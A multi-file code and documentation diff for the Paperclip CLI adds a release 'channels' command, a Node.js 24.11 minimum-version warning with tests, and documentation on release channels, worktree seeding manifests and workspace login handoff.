fs.writeFileSync(filePath, JSON.stringify(config, null, 2) + "\n", {
|
||||
mode: 0o600,
|
||||
});
|
||||
atomicWriteFile(filePath, JSON.stringify(nextConfig, null, 2) + "\n");
|
||||
return true;
|
||||
}
|
||||
|
||||
export function configExists(configPath?: string): boolean {
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
import { Command } from "commander";
|
||||
import { warnIfUnsupportedNodeVersion } from "@paperclipai/shared/node-version";
|
||||
import { onboard } from "./commands/onboard.js";
|
||||
import { doctor } from "./commands/doctor.js";
|
||||
import { envCommand } from "./commands/env.js";
|
||||
import { channelsCommand } from "./commands/channels.js";
|
||||
import { configure } from "./commands/configure.js";
|
||||
import { addAllowedHostname } from "./commands/allowed-hostname.js";
|
||||
import { heartbeatRun } from "./commands/heartbeat-run.js";
|
||||
@@ -130,6 +132,14 @@ program
|
||||
.option("-d, --data-dir <path>", DATA_DIR_OPTION_HELP)
|
||||
.action(envCommand);
|
||||
|
||||
program
|
||||
.command("channels")
|
||||
.description("Show the release channels and which one this install follows")
|
||||
.option("--json", "Machine-readable output")
|
||||
.action(async (opts) => {
|
||||
await channelsCommand(opts);
|
||||
});
|
||||
|
||||
program
|
||||
.command("configure")
|
||||
.description("Update configuration sections")
|
||||
@@ -241,6 +251,8 @@ auth
|
||||
registerClientAuthCommands(auth);
|
||||
|
||||
async function main(): Promise<void> {
|
||||
warnIfUnsupportedNodeVersion(process.versions.node, (message) => console.warn(message));
|
||||
|
||||
let failed = false;
|
||||
try {
|
||||
await program.parseAsync();
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
formatNodeVersionWarning,
|
||||
isSupportedNodeVersion,
|
||||
MINIMUM_NODE_VERSION,
|
||||
NODE_VERSION_INSTALL_GUIDE_URL,
|
||||
warnIfUnsupportedNodeVersion,
|
||||
} from "@paperclipai/shared/node-version";
|
||||
|
||||
describe("isSupportedNodeVersion", () => {
|
||||
it("accepts the Node 24 LTS floor and newer releases", () => {
|
||||
expect(MINIMUM_NODE_VERSION).toBe("24.11.0");
|
||||
expect(isSupportedNodeVersion("v24.11.0")).toBe(true);
|
||||
expect(isSupportedNodeVersion("24.19.0")).toBe(true);
|
||||
expect(isSupportedNodeVersion("v26.0.0")).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects pre-LTS Node 24 and older major releases", () => {
|
||||
expect(isSupportedNodeVersion("v24.10.0")).toBe(false);
|
||||
expect(isSupportedNodeVersion("v22.23.0")).toBe(false);
|
||||
expect(isSupportedNodeVersion("unknown")).toBe(false);
|
||||
});
|
||||
|
||||
it("provides non-blocking remediation text for unsupported runtimes", () => {
|
||||
expect(formatNodeVersionWarning("v24.11.0")).toBeNull();
|
||||
const warning = formatNodeVersionWarning("v22.23.0");
|
||||
expect(warning).toContain("Node.js v22.23.0 is unsupported");
|
||||
expect(warning).toContain("requires Node.js 24.11.0 or newer");
|
||||
expect(warning).toContain(NODE_VERSION_INSTALL_GUIDE_URL);
|
||||
expect(warning).toContain("piped install.sh form cannot upgrade");
|
||||
expect(warning).toContain("Restart Paperclip after upgrading");
|
||||
});
|
||||
|
||||
it("emits at most one warning when CLI and server boot in the same process", () => {
|
||||
const warnings: string[] = [];
|
||||
expect(
|
||||
warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)),
|
||||
).toBe(true);
|
||||
expect(
|
||||
warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)),
|
||||
).toBe(false);
|
||||
expect(warnings).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
@@ -84,7 +84,7 @@ export async function promptServer(opts?: {
|
||||
: "dotta-macbook-pro, host.docker.internal",
|
||||
validate: (val) => {
|
||||
try {
|
||||
parseHostnameCsv(val);
|
||||
parseHostnameCsv(val ?? "");
|
||||
return;
|
||||
} catch (err) {
|
||||
return err instanceof Error ? err.message : "Invalid hostname list";
|
||||
@@ -156,7 +156,7 @@ export async function promptServer(opts?: {
|
||||
defaultValue: defaultHost,
|
||||
placeholder: defaultHost,
|
||||
validate: (val) => {
|
||||
if (!val.trim()) return "Host is required";
|
||||
if (!val || !val.trim()) return "Host is required";
|
||||
if (deploymentMode === "local_trusted" && !isLoopbackHost(val.trim())) {
|
||||
return "Local trusted mode requires a loopback host such as 127.0.0.1";
|
||||
}
|
||||
@@ -173,7 +173,7 @@ export async function promptServer(opts?: {
|
||||
placeholder: "dotta-macbook-pro, your-host.tailnet.ts.net",
|
||||
validate: (val) => {
|
||||
try {
|
||||
parseHostnameCsv(val);
|
||||
parseHostnameCsv(val ?? "");
|
||||
return;
|
||||
} catch (err) {
|
||||
return err instanceof Error ? err.message : "Invalid hostname list";
|
||||
@@ -192,7 +192,7 @@ export async function promptServer(opts?: {
|
||||
defaultValue: currentAuth?.publicBaseUrl ?? "",
|
||||
placeholder: "https://paperclip.example.com",
|
||||
validate: (val) => {
|
||||
const candidate = val.trim();
|
||||
const candidate = val?.trim() ?? "";
|
||||
if (!candidate) return "Public base URL is required for public exposure";
|
||||
try {
|
||||
const url = new URL(candidate);
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
# Release Channels
|
||||
|
||||
Paperclip ships on four channels. Pick the one that matches your appetite for
|
||||
freshness versus stability — switching is just a matter of which version you
|
||||
install.
|
||||
|
||||
| Channel | What it is | Updates | npm | Docker |
|
||||
| --- | --- | --- | --- | --- |
|
||||
| `stable` | The recommended release | every week or two | `paperclipai@latest` | `ghcr.io/paperclipai/paperclip:latest` |
|
||||
| `beta` | Release candidates soaking before stable | when promoted | `paperclipai@beta` | `ghcr.io/paperclipai/paperclip:beta` |
|
||||
| `nightly` | Yesterday's merges, smoke-tested as a unit | once a night | `paperclipai@nightly` | `ghcr.io/paperclipai/paperclip:nightly` |
|
||||
| `canary` | Every merge to `master`, as it happens | many times a day | `paperclipai@canary` | `ghcr.io/paperclipai/paperclip:canary` |
|
||||
|
||||
## Choosing a channel
|
||||
|
||||
**stable** is the right choice for almost everyone. It only moves when a
|
||||
release has been explicitly vetted and promoted by a maintainer, and every
|
||||
stable must first soak as a beta for at least 3 days.
|
||||
|
||||
**beta** is for people who want the next stable early. A beta is a nightly
|
||||
that a maintainer hand-picked and explicitly promoted behind an approval
|
||||
gate, and it is re-smoked after publishing. Betas are the release candidates:
|
||||
what you run on beta today is what stable becomes a few days later.
|
||||
|
||||
**nightly** is for people who want new features quickly but not the churn of
|
||||
tracking every merge. Once a night, the newest master build that published
|
||||
green is run through the full release smoke suite (real Docker container, real
|
||||
onboarding flow, browser-driven). Only if that passes does it ship as the
|
||||
nightly. If smoke fails, there is no nightly that night — the channel never
|
||||
ships a build that failed its checks.
|
||||
|
||||
**canary** is the bleeding edge: it publishes on every merge to `master`.
|
||||
It is primarily the lane that continuously exercises our release automation,
|
||||
but it's available to anyone who wants the newest bits and accepts the risk.
|
||||
|
||||
## Installing from a channel
|
||||
|
||||
npm / npx:
|
||||
|
||||
```bash
|
||||
npx paperclipai@latest onboard # stable
|
||||
npx paperclipai@beta onboard
|
||||
npx paperclipai@nightly onboard
|
||||
npx paperclipai@canary onboard
|
||||
```
|
||||
|
||||
Docker:
|
||||
|
||||
```bash
|
||||
docker pull ghcr.io/paperclipai/paperclip:latest # stable
|
||||
docker pull ghcr.io/paperclipai/paperclip:beta
|
||||
docker pull ghcr.io/paperclipai/paperclip:nightly
|
||||
docker pull ghcr.io/paperclipai/paperclip:canary
|
||||
```
|
||||
|
||||
Every image is also published as `:sha-<short-sha>` for exact pinning, and
|
||||
stable images additionally get `:YYYY.MDD.P` version tags.
|
||||
|
||||
## Seeing where you are
|
||||
|
||||
```bash
|
||||
npx paperclipai channels
|
||||
```
|
||||
|
||||
prints every channel with the version it currently resolves to, the install
|
||||
command for each, and which channel your install follows (with `--json` for
|
||||
scripting).
|
||||
|
||||
## Switching channels
|
||||
|
||||
Channel choice is per-install: install from a different tag and you're on that
|
||||
channel. Moving forward (stable → nightly) is always safe. Moving backward
|
||||
(nightly → stable) can mean running an older schema than your data was created
|
||||
with — treat a downgrade like a restore and keep a backup of your data
|
||||
directory before switching down.
|
||||
|
||||
## Reading version strings
|
||||
|
||||
The version tells you which channel a build came from:
|
||||
|
||||
- `2026.807.0` — stable, published Aug 7 2026
|
||||
- `2026.807.0-beta.0` — beta promoted on Aug 7 2026
|
||||
- `2026.807.0-nightly.0` — nightly cut on Aug 7 2026
|
||||
- `2026.807.0-canary.4` — the fifth canary for the Aug 7 line
|
||||
|
||||
Each promotion republishes the exact source commit of the previous lane's
|
||||
build: a nightly shares its source SHA with a canary, and a beta with a
|
||||
nightly. The version dates the promotion, and the shared SHA is visible in
|
||||
the release job summaries and as git tags on the commit.
|
||||
|
||||
One quirk to be aware of: npm's semver ordering compares prerelease names
|
||||
alphabetically, so `-beta.N` sorts below `-canary.N`, which sorts below
|
||||
`-nightly.N` for the same base version. This never matters when installing by
|
||||
dist-tag (the recommended way), only if you write version ranges by hand.
|
||||
|
||||
## For maintainers
|
||||
|
||||
The publishing mechanics, promotion flow, and release checklist live in
|
||||
[`RELEASING.md`](RELEASING.md).
|
||||
+492
-380
File diff suppressed because it is too large.
Load diff
+1
-1
@@ -267,7 +267,7 @@ pnpm paperclipai configure --section secrets
|
||||
Inline secret migration command:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai secrets migrate-inline-env --company-id <company-id> --apply
|
||||
npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
|
||||
|
||||
# direct database maintenance fallback
|
||||
pnpm secrets:migrate-inline-env --apply
|
||||
|
||||
@@ -87,8 +87,8 @@ Examples:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai onboard --yes
|
||||
pnpm paperclipai onboard --yes --bind lan
|
||||
pnpm paperclipai run --bind tailnet
|
||||
npx paperclipai onboard --yes --bind lan
|
||||
npx paperclipai run --bind tailnet
|
||||
```
|
||||
|
||||
`configure --section server` follows the same interactive behavior.
|
||||
|
||||
+116
-30
@@ -12,7 +12,7 @@ Current implementation status:
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Node.js 20+
|
||||
- Node.js 24.11+
|
||||
- pnpm 9+
|
||||
|
||||
## Dependency Lockfile Policy
|
||||
@@ -230,7 +230,7 @@ pnpm dev --authenticated-private
|
||||
Allow additional private hostnames (for example custom Tailscale hostnames):
|
||||
|
||||
```sh
|
||||
pnpm paperclipai allowed-hostname dotta-macbook-pro
|
||||
npx paperclipai allowed-hostname dotta-macbook-pro
|
||||
```
|
||||
|
||||
## Test Commands
|
||||
@@ -327,6 +327,8 @@ Every local install keeps runtime state directly under the selected instance roo
|
||||
storage/ # local_disk uploads
|
||||
backups/ # automatic DB backups
|
||||
logs/
|
||||
runtime-services/ # managed local-service registry
|
||||
runtime-service-logs/ # append-only managed-service stdout/stderr
|
||||
secrets/master.key # local_encrypted master key
|
||||
workspaces/<agent-id>/ # default agent workspaces
|
||||
projects/ # project execution workspaces
|
||||
@@ -336,6 +338,14 @@ Every local install keeps runtime state directly under the selected instance roo
|
||||
|
||||
`PAPERCLIP_HOME` and `PAPERCLIP_INSTANCE_ID` override the home root and instance id respectively. `paperclipai onboard` echoes the resolved values in its banner (`Local home: <home> | instance: <id> | config: <path>`) so you can confirm where state will land before continuing.
|
||||
|
||||
Config updates preserve unrecognized top-level and nested keys so provider or
|
||||
plugin extensions survive `configure` and worktree port repair. Likely
|
||||
misspellings of known keys produce a warning but are not removed. If an
|
||||
existing `config.json` is malformed, `onboard` and `configure` first create a
|
||||
byte-for-byte sibling backup named `config.json.invalid-1` (then `-2`, and so
|
||||
on). Repair from defaults requires an interactive confirmation; non-interactive
|
||||
runs stop without replacing the original.
|
||||
|
||||
## Database in Dev (Auto-Handled)
|
||||
|
||||
For local development, leave `DATABASE_URL` unset.
|
||||
@@ -417,6 +427,21 @@ Agent, project, environment, secret, skill, and workspace config edits are sampl
|
||||
|
||||
When effective run config changes, Paperclip may intentionally skip a saved adapter session, refresh persisted workspace runtime config, replace a reused execution workspace, or avoid reusing a sandbox/environment lease. Fresh execution can lose adapter-specific session, workspace, or sandbox state; correctness of the next run's config takes priority over continuity. Plain environment values affect freshness through value hashes; run result JSON and workspace operation logs expose only the non-sensitive freshness decision categories, without storing secret values, full env maps, provider credentials, or private path details.
|
||||
|
||||
## Workspace Git Scan Protection
|
||||
|
||||
Paperclip applies one process-wide scheduler to expensive host-side workspace Git enumeration, including changed-file browsing, runtime/finalization cleanliness guards, and adapter sandbox-sync snapshots. The scheduler defaults to two active scans and a bounded queue of 32. Identical scans of the same canonical worktree share one subprocess, while successful changed-file listings are cached for 10 seconds. Correctness-sensitive runtime guards bypass the result cache.
|
||||
|
||||
The cache intentionally trades up to a few seconds of changed-file freshness for stable server latency. The file browser retains an explicit refresh action, does not start its query while the panel or browser tab is hidden, and presents overloads as retryable failures rather than an empty workspace. A full queue returns `503` with code `workspace_git_scan_saturated`; a scan exceeding its wall-clock limit returns `504` with code `workspace_git_scan_timeout`. Both responses include `Retry-After: 1`.
|
||||
|
||||
Environment overrides:
|
||||
|
||||
- `PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY` (default `2`, range `1`–`16`)
|
||||
- `PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY` (default `32`, range `0`–`1024`)
|
||||
- `PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS` (default `8000`, range `100`–`120000`)
|
||||
- `PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS` (default `10000`, range `0`–`60000`)
|
||||
|
||||
Structured `workspace_git_scan` logs expose the operation name, a non-reversible workspace-path hash, queue and execution durations, active/queued counts, cache and single-flight use, and terminal outcome. Saturation and timeout warnings are rate-limited so an overload does not create a second logging storm.
|
||||
|
||||
## Worktree-local Instances
|
||||
|
||||
When developing from multiple git worktrees, do not point two Paperclip servers at the same embedded PostgreSQL data directory.
|
||||
@@ -426,7 +451,7 @@ Instead, create a repo-local Paperclip config plus an isolated instance for the
|
||||
```sh
|
||||
paperclipai worktree init
|
||||
# or create the git worktree and initialize it in one step:
|
||||
pnpm paperclipai worktree:make paperclip-pr-432
|
||||
npx paperclipai worktree:make paperclip-pr-432
|
||||
```
|
||||
|
||||
This command:
|
||||
@@ -446,6 +471,8 @@ Seed modes:
|
||||
|
||||
Seeded worktree instances quarantine copied live execution by default for both `minimal` and `full` seeds. During restore, Paperclip disables copied agent timer heartbeats, resets copied `running` agents to `idle`, blocks and unassigns copied agent-owned `in_progress` issues, and unassigns copied agent-owned `todo`/`in_review` issues. This keeps a freshly booted worktree from starting agents for work already owned by the source instance. Pass `--preserve-live-work` only when you intentionally want the isolated worktree to resume copied assignments.
|
||||
|
||||
The same quarantine stops copied project/execution-workspace runtime desired states and clears copied runtime process claims. Without this reset, booting the cloned Paperclip database could restart a source workspace's dev service from the isolated instance, creating duplicate runners, port reassignment, and stale public URLs.
|
||||
|
||||
After `worktree init`, both the server and the CLI auto-load the repo-local `.paperclip/.env` when run inside that worktree, so normal commands like `pnpm dev`, `paperclipai doctor`, and `paperclipai db:backup` stay scoped to the worktree instance.
|
||||
|
||||
`pnpm dev` now fails fast in a linked git worktree when `.paperclip/.env` is missing, instead of silently booting against the default instance/port. If that happens, run `paperclipai worktree init` in the worktree first.
|
||||
@@ -454,24 +481,29 @@ After `worktree init`, both the server and the CLI auto-load the repo-local `.pa
|
||||
|
||||
Seeding a worktree database is the heaviest part of `worktree init`. That work can be deferred so a worktree is cheap to create and only pays the seed cost the first time it is actually used — the CLI/dev-time analog of the server's lazy runtime provisioning (see the board-operator guide's "Lazy runtime provisioning" section).
|
||||
|
||||
Seeding state is tracked with two marker files under the worktree's `.paperclip/` directory:
|
||||
Seeding state is tracked in `.paperclip/seed-manifest.json`. The versioned manifest records only non-secret evidence: source instance id/config path, target instance id, seed mode, snapshot time, migration revision, attempt timestamps, current phase, terminal state, and a bounded phase diagnostic history. It never stores database credentials or auth credential material. The legacy `seed-pending` and `seed-complete` files remain read-only compatibility signals for worktrees created before the manifest shipped.
|
||||
|
||||
- `seed-pending` — the isolated database has not been seeded yet (a **lean** worktree). Written by `worktree init` before any seed runs.
|
||||
- `seed-complete` — the database was seeded; the pending marker is removed.
|
||||
The default `worktree init` still seeds eagerly. A lean worktree (created without an eager seed) has a `pending` manifest until something seeds it on demand:
|
||||
|
||||
The default `worktree init` still seeds eagerly and writes `seed-complete` immediately. A lean worktree (created without an eager seed) keeps its `seed-pending` marker until something seeds it on demand:
|
||||
- `pnpm paperclipai worktree ensure-seeded` performs the deferred seed **exactly once**. It is lock-guarded and idempotent: only a complete `verified` manifest short-circuits it, so it is safe to call repeatedly and from concurrent processes. Managed workspaces derive the source from the control-plane-provided base project workspace when it carries its own `.paperclip/config.json`, and otherwise from the control plane's own registered instance config; either way the workspace's manifest never selects it. Manual worktrees must pass `--from-config`.
|
||||
- `paperclipai run` calls `ensureWorktreeSeeded` automatically before doctor/boot. Managed runs transparently seed a lean worktree from their registered base workspace; an unmanaged lean worktree must first run `worktree ensure-seeded --from-config <source-config>`.
|
||||
- Managed Paperclip git worktrees default to the repository's `scripts/provision-worktree.sh` when the strategy omits `provisionCommand`, so the isolated config and pending manifest cannot be silently skipped. Runtime startup also runs `scripts/provision-worktree-runtime.sh` automatically when no explicit runtime provision command is configured and the manifest is not verified. Explicitly configured provision commands still take precedence.
|
||||
- The built-in deferred seed is recorded as its own terminal `workspace_seed` operation. A zero exit code is not enough for success: the operation succeeds only when `.paperclip/seed-manifest.json` contains complete verified evidence; failed, missing, or malformed manifests produce a failed operation with the seed phase in metadata.
|
||||
- Worktrees created before lazy seeding shipped may have neither marker. Paperclip adopts them only after their configured database proves a compatible migration journal and the core Paperclip schema; otherwise managed startup creates a pending manifest and performs the normal verified seed. Manual markerless worktrees must provide `--from-config` so the source remains explicit.
|
||||
|
||||
- `pnpm paperclipai worktree ensure-seeded` performs the deferred seed **exactly once**. It is lock-guarded and idempotent: a present `seed-complete` marker or a missing `seed-pending` marker short-circuits it, so it is safe to call repeatedly and from concurrent processes. It reads the source instance from the `seed-pending` marker unless you pass `--from-config`.
|
||||
- `paperclipai run` calls `ensureWorktreeSeeded` automatically before doctor/boot, so `run` transparently seeds a lean worktree on first launch.
|
||||
- Worktrees created before lazy seeding shipped have neither marker; they are treated as already-seeded for backward compatibility (never re-cloned).
|
||||
Both `minimal` and `full` modes use the same terminal data-validation contract. Source validation accepts a migration journal that is a prefix of the checkout's journal and records the source revision in seed diagnostics; it rejects a source that is ahead of the checkout because that would require a downgrade. After restore, Paperclip applies pending migrations and requires the target journal to be current. Both validations also read an auth user with an instance administrator role, active company membership, and representative cloned company/issue pair. Authenticated instances additionally require that administrator to have a non-empty credential account. `local_trusted` instances accept the implicit local Board user without an account row because that mode intentionally has no human login flow. Restore, migrations, execution quarantine, routine pausing, workspace rebinding, and post-restore validation all run under the seed lock. An interruption leaves the exact active phase in terminal `failed` state; it cannot produce readiness evidence.
|
||||
|
||||
**Seed-pending guard.** `pnpm dev` (the dev-runner) refuses to boot a worktree whose database is still `seed-pending` and points you at the fix:
|
||||
The seed process must own the target embedded PostgreSQL lifecycle for that entire sequence. It refuses to restore into a target postmaster that is already running, suppresses the embedded provider's process-global exit hooks, and stops its owned target only after validation or failure cleanup. A shutdown detected during restore is recorded as a target-database shutdown diagnostic rather than a generic restore failure.
|
||||
|
||||
The seed manifest never grants source-path authority. Its source path and instance are diagnostic assertions derived from the realpath-canonical registered source. Deferred seeding resolves registration independently before taking the seed lock; under that lock it replaces stale source diagnostics from the registered value and then revalidates the manifest before any backup, service stop, spawn, or database mutation. Missing registration, invalid registered paths, source/target identity collisions, target-instance mismatches, and company mismatches fail closed.
|
||||
|
||||
**Unverified-seed guard.** `pnpm dev` (the dev-runner) refuses to boot a worktree whose manifest is pending, running, failed, malformed, or missing required verification evidence and points you at the fix:
|
||||
|
||||
```
|
||||
[paperclip] this worktree database is seed-pending. Run `pnpm paperclipai worktree ensure-seeded` before `pnpm dev`.
|
||||
```
|
||||
|
||||
This guard (`isWorktreeSeedPending` in `server/src/dev-runner-worktree.ts`) prevents `pnpm dev` from starting the app against an empty, unseeded database — run `worktree ensure-seeded` once and re-run `pnpm dev`.
|
||||
This guard (`isWorktreeSeedPending` in `server/src/dev-runner-worktree.ts`) prevents `pnpm dev` from starting the app against an empty or partially restored database — run `worktree ensure-seeded` once and re-run `pnpm dev`.
|
||||
|
||||
Provisioned git worktrees also pause seeded routines that still have enabled schedule triggers in the isolated worktree database by default. This prevents copied daily/cron routines from firing unexpectedly inside the new workspace instance during development without disabling webhook/API-only routines.
|
||||
|
||||
@@ -496,9 +528,30 @@ paperclipai worktree env
|
||||
eval "$(paperclipai worktree env)"
|
||||
```
|
||||
|
||||
### Workspace login handoff and readiness
|
||||
|
||||
Opening a managed workspace board no longer depends on knowing which cloned password is current. `Open workspace` asks the main control plane for a short-lived, single-use ticket; the isolated workspace verifies it and creates its own instance-scoped Better Auth session.
|
||||
|
||||
- **Issue** — `POST /api/execution-workspaces/{id}/login-handoff` (board actors only). The ticket is bound to the caller's user id and email, the execution workspace id, the workspace's company id, the isolated instance id, the live runtime origin, a nonce, and a ~90 s expiry. Nothing in the request body influences that binding; only the landing path is caller-supplied and it is reduced to a same-origin path before signing.
|
||||
- **Exchange** — `GET /api/auth/{workspace-handoff}/exchange?ticket=…` on the workspace itself, registered as a Better Auth plugin so session creation and cookie signing use Better Auth's own path. It verifies the signature, expiry, origin, instance, workspace, company, the cloned user's email, and an active membership **in that company**, records the nonce so a replay loses, and answers with an HTTP redirect — which is what keeps the ticket out of browser history. Request logs redact the `ticket` parameter.
|
||||
- **Fallback** — direct email/password sign-in still works and the UI labels it accurately as *snapshot-local credentials*. A rejected ticket redirects to `/auth?workspaceHandoffError=<reason>` rather than failing opaquely.
|
||||
|
||||
Key material is derived, never shared. The control plane keeps a root secret (`PAPERCLIP_WORKSPACE_HANDOFF_SECRET`, or a domain-separated derivation from the instance's existing signing secret when that is unset) and injects only per-workspace values into the guest process:
|
||||
|
||||
| Variable | Purpose |
|
||||
| --- | --- |
|
||||
| `PAPERCLIP_WORKSPACE_HANDOFF_KEY` | Per-workspace ticket verification key. A guest cannot mint a ticket for a sibling workspace. |
|
||||
| `PAPERCLIP_WORKSPACE_READINESS_TOKEN` | Bearer token the control plane presents to read this workspace's protected readiness. |
|
||||
| `PAPERCLIP_EXECUTION_WORKSPACE_ID` | Execution workspace the guest was provisioned for, used for identity checks. |
|
||||
| `PAPERCLIP_EXECUTION_WORKSPACE_COMPANY_ID` | Company whose board the guest represents. Scopes both the membership check and the readiness probes, so "some company in the clone is fine" cannot pass for the one being opened. |
|
||||
|
||||
Protected `/api/health` on a cloned workspace additionally carries a `workspace` block — `state`, `databaseReady`, `cloneDataReady`, `authHandoffReady`, `seedState`, `seedPhase`, `instanceId`, `executionWorkspaceId`, `failurePhase`. Public health stays redacted. Managed runtime start will not publish `running / healthy` unless that block agrees and names this exact instance and workspace, and runtime-service work products are refreshed from the live runtime row so a port change cannot leave a stale user-facing URL.
|
||||
|
||||
The workspace UI surfaces `Provisioning database`, `Validating clone`, `Ready`, `Degraded`, `Repairing`, and `Repair failed`, each with one safe action (open, start, repair, or read the log).
|
||||
|
||||
### Worktree CLI Reference
|
||||
|
||||
**`pnpm paperclipai worktree init [options]`** — Create repo-local config/env and an isolated instance for the current worktree.
|
||||
**`npx paperclipai worktree init [options]`** — Create repo-local config/env and an isolated instance for the current worktree.
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
@@ -528,7 +581,7 @@ Repair an already-created repo-managed worktree and reseed its isolated instance
|
||||
|
||||
```sh
|
||||
cd /path/to/paperclip/.paperclip/worktrees/PAP-884-ai-commits-component
|
||||
pnpm paperclipai worktree init --force --seed-mode minimal \
|
||||
npx paperclipai worktree init --force --seed-mode minimal \
|
||||
--name PAP-884-ai-commits-component \
|
||||
--from-config ~/.paperclip/instances/default/config.json
|
||||
```
|
||||
@@ -537,7 +590,7 @@ That rewrites the worktree-local `.paperclip/config.json` + `.paperclip/.env`, r
|
||||
|
||||
For an already-created worktree where you want the CLI to decide whether to rebuild missing worktree metadata or just reseed the isolated DB, use `worktree repair`.
|
||||
|
||||
**`pnpm paperclipai worktree repair [options]`** — Repair the current linked worktree by default, or create/repair a named linked worktree under `.paperclip/worktrees/` when `--branch` is provided. The command never targets the primary checkout unless you explicitly pass `--branch`.
|
||||
**`npx paperclipai worktree repair [options]`** — Repair the current linked worktree by default, or create/repair a named linked worktree under `.paperclip/worktrees/` when `--branch` is provided. The command never targets the primary checkout unless you explicitly pass `--branch`.
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
@@ -558,13 +611,14 @@ cd /path/to/paperclip/.paperclip/worktrees/PAP-1132-assistant-ui-pap-1131-make-i
|
||||
pnpm paperclipai worktree repair
|
||||
|
||||
# From the primary checkout, create or repair a linked worktree for a branch under .paperclip/worktrees/.
|
||||
# This command repairs the local checkout, so run the checked-out CLI through the direct-exec form.
|
||||
cd /path/to/paperclip
|
||||
pnpm paperclipai worktree repair --branch PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
|
||||
node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts worktree repair --branch PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
|
||||
```
|
||||
|
||||
For an already-created worktree where you want to keep the existing repo-local config/env and only overwrite the isolated database, use `worktree reseed` instead. Stop the target worktree's Paperclip server first so the command can replace the DB safely.
|
||||
|
||||
**`pnpm paperclipai worktree reseed [options]`** — Re-seed an existing worktree-local instance from another Paperclip instance or worktree while preserving the target worktree's current config, ports, and instance identity.
|
||||
**`npx paperclipai worktree reseed [options]`** — Re-seed an existing worktree-local instance from another Paperclip instance or worktree while preserving the target worktree's current config, ports, and instance identity.
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
@@ -576,13 +630,14 @@ For an already-created worktree where you want to keep the existing repo-local c
|
||||
| `--seed-mode <mode>` | Seed profile: `minimal` or `full` (default: `full`) |
|
||||
| `--yes` | Skip the destructive confirmation prompt |
|
||||
| `--allow-live-target` | Override the guard that requires the target worktree DB to be stopped first |
|
||||
| `--backup-target` | Retain a recoverable full target-DB backup before reseeding |
|
||||
|
||||
Examples:
|
||||
|
||||
```sh
|
||||
# From the main repo, reseed a worktree from the current default/master instance.
|
||||
cd /path/to/paperclip
|
||||
pnpm paperclipai worktree reseed \
|
||||
npx paperclipai worktree reseed \
|
||||
--from current \
|
||||
--to PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat \
|
||||
--seed-mode full \
|
||||
@@ -590,12 +645,14 @@ pnpm paperclipai worktree reseed \
|
||||
|
||||
# From inside a worktree, reseed it from the default instance config.
|
||||
cd /path/to/paperclip/.paperclip/worktrees/PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
|
||||
pnpm paperclipai worktree reseed \
|
||||
npx paperclipai worktree reseed \
|
||||
--from-instance default \
|
||||
--seed-mode full
|
||||
```
|
||||
|
||||
**`pnpm paperclipai worktree:make <name> [options]`** — Create `~/NAME` as a git worktree, then initialize an isolated Paperclip instance inside it. This combines `git worktree add` with `worktree init` in a single step.
|
||||
Managed workspace repair uses this same verified full-reseed contract through `POST /api/execution-workspaces/:id/runtime-commands/repair`. The exclusive, audited operation stops managed services, writes a recoverable pre-repair database backup under the isolated instance's backup directory, performs the full seed/migration/quarantine/rebinding sequence, and restarts only after terminal manifest and service-health validation. It preserves the worktree filesystem. On failure, services remain stopped while the database backup, seed manifest, bounded phase diagnostics, and operation log are retained for inspection; repair never retries itself in a loop.
|
||||
|
||||
**`npx paperclipai worktree:make <name> [options]`** — Create `~/NAME` as a git worktree, then initialize an isolated Paperclip instance inside it. This combines `git worktree add` with `worktree init` in a single step.
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
@@ -614,12 +671,12 @@ pnpm paperclipai worktree reseed \
|
||||
Examples:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai worktree:make paperclip-pr-432
|
||||
pnpm paperclipai worktree:make my-feature --start-point origin/main
|
||||
pnpm paperclipai worktree:make experiment --no-seed
|
||||
npx paperclipai worktree:make paperclip-pr-432
|
||||
npx paperclipai worktree:make my-feature --start-point origin/main
|
||||
npx paperclipai worktree:make experiment --no-seed
|
||||
```
|
||||
|
||||
**`pnpm paperclipai worktree env [options]`** — Print shell exports for the current worktree-local Paperclip instance.
|
||||
**`npx paperclipai worktree env [options]`** — Print shell exports for the current worktree-local Paperclip instance.
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
@@ -631,13 +688,36 @@ Examples:
|
||||
```sh
|
||||
pnpm paperclipai worktree env
|
||||
pnpm paperclipai worktree env --json
|
||||
eval "$(pnpm paperclipai worktree env)"
|
||||
eval "$(npx paperclipai worktree env)"
|
||||
```
|
||||
|
||||
For project execution worktrees, Paperclip can also run a project-defined provision command after it creates or reuses an isolated git worktree. Configure this on the project's execution workspace policy (`workspaceStrategy.provisionCommand`). The command runs inside the derived worktree and receives `PAPERCLIP_WORKSPACE_*`, `PAPERCLIP_PROJECT_ID`, `PAPERCLIP_AGENT_ID`, and `PAPERCLIP_ISSUE_*` environment variables so each repo can bootstrap itself however it wants.
|
||||
|
||||
